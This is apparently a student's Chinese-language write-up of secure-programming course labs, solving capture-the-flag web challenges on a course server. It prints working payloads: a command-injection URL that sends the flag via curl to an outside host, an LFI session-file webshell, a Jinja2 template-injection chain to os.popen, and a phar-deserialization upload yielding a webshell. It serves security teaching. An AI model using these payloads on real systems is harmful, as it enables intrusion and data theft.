---
# System prepended metadata

title: HW 0x08 Write Up
tags: [Course, CS, NCTU, SecureProgramming]

---

###### tags: `NCTU` `CS` `Course` `SecureProgramming`

HW 0x08 Write Up
==
yysung

## [Lab 8-1] cmdinj

```
http://edu.kaibro.tw:7777/?h=%0Aa=$(ls${IFS}/)%0Acurl${IFS}li.yysung.tw:8888/$(echo${IFS}${a:17})
http://edu.kaibro.tw:7777/?h=%0Aa=$(cat${IFS}/f*)%0Acurl${IFS}-g${IFS}li.yysung.tw:8888/$(echo${IFS}${a:0})
```

在 $h 中放入 curl 就可以對指定的網址傳訊息
可以建構指令來拿到 flag

## [Lab 8-2] EzLFI

`action=register` 後可以拿到 cookie
同時 POST 並在 form_data 裡放 user={php code} 會將 {php code} 放在 /var/lib/php/session/sess_{PHPSESSID}
用以上方法放入 webshell 後接下來就可以用
```
action=module&m=../../../../../var/lib/php/session/sess_{PHPSESSID}
```
載入 webshell 了

## [Lab 8-3] Jinja2

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

暴力搜尋 python 內部的函數找到 eval 就可以執行任意的 python code

利用 os package 的 popen 來作為 shell 得到 flag

## [HW 0x08] GhostGIF

所有的 action 中只有 upload 和 getsize 是有可能執行的

其他 action 因為無法拿到 $SECRET 所以無法執行

其中 getsize 裡會直接拿 `$_GET['f']` 的值當作 getimagesize 的參數，可以觸發 phar 反序列化

而且 FileManager 會在 destruct 時才建立文件

所以可以進行 phar 反序列化攻擊將 php 檔放在 uploads/ 底下完成 RCE

先製作 phar 檔

在 setStub 裡加入 GIF 檔頭和 `__HALT_COMPILER()`

addFromString 中加入 test.txt

建立一個 FileManager 實例並且設定成在 destrcut 時會建立 php 檔案，content 內容為 php 程式碼

將 FileManager 實例作為 setMetadata 的參數

建立完 phar 檔後轉成 base64 並執行 upload

因為有 GIF 檔頭所以可以被存於 uploads/ 底下

得到 GIF 檔名後，再執行 getsize

利用 POST 傳入
```
f=phar:///var/www/html/uploads/filename.gif/test.txt
```

原本放在 phar 檔裡的 FileManager 實例將被建構並觸發 destruct，就可以在 uploads/ 放入任意的 php 檔了

放入 webshell 後就可以執行指令並拿到 flag